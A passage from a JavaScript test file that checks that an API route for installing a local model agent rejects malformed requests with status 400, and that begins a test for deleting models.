])('refuses %s before the service is asked', async (_name, payload) => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) });
expect(res.statusCode).toBe(400);
expect(f.service.installAgent).not.toHaveBeenCalled();
});
});
describe('DELETE /api/local-model/models', () => {
it('hands the service the model name and who asked', async () => {
const f = fakes();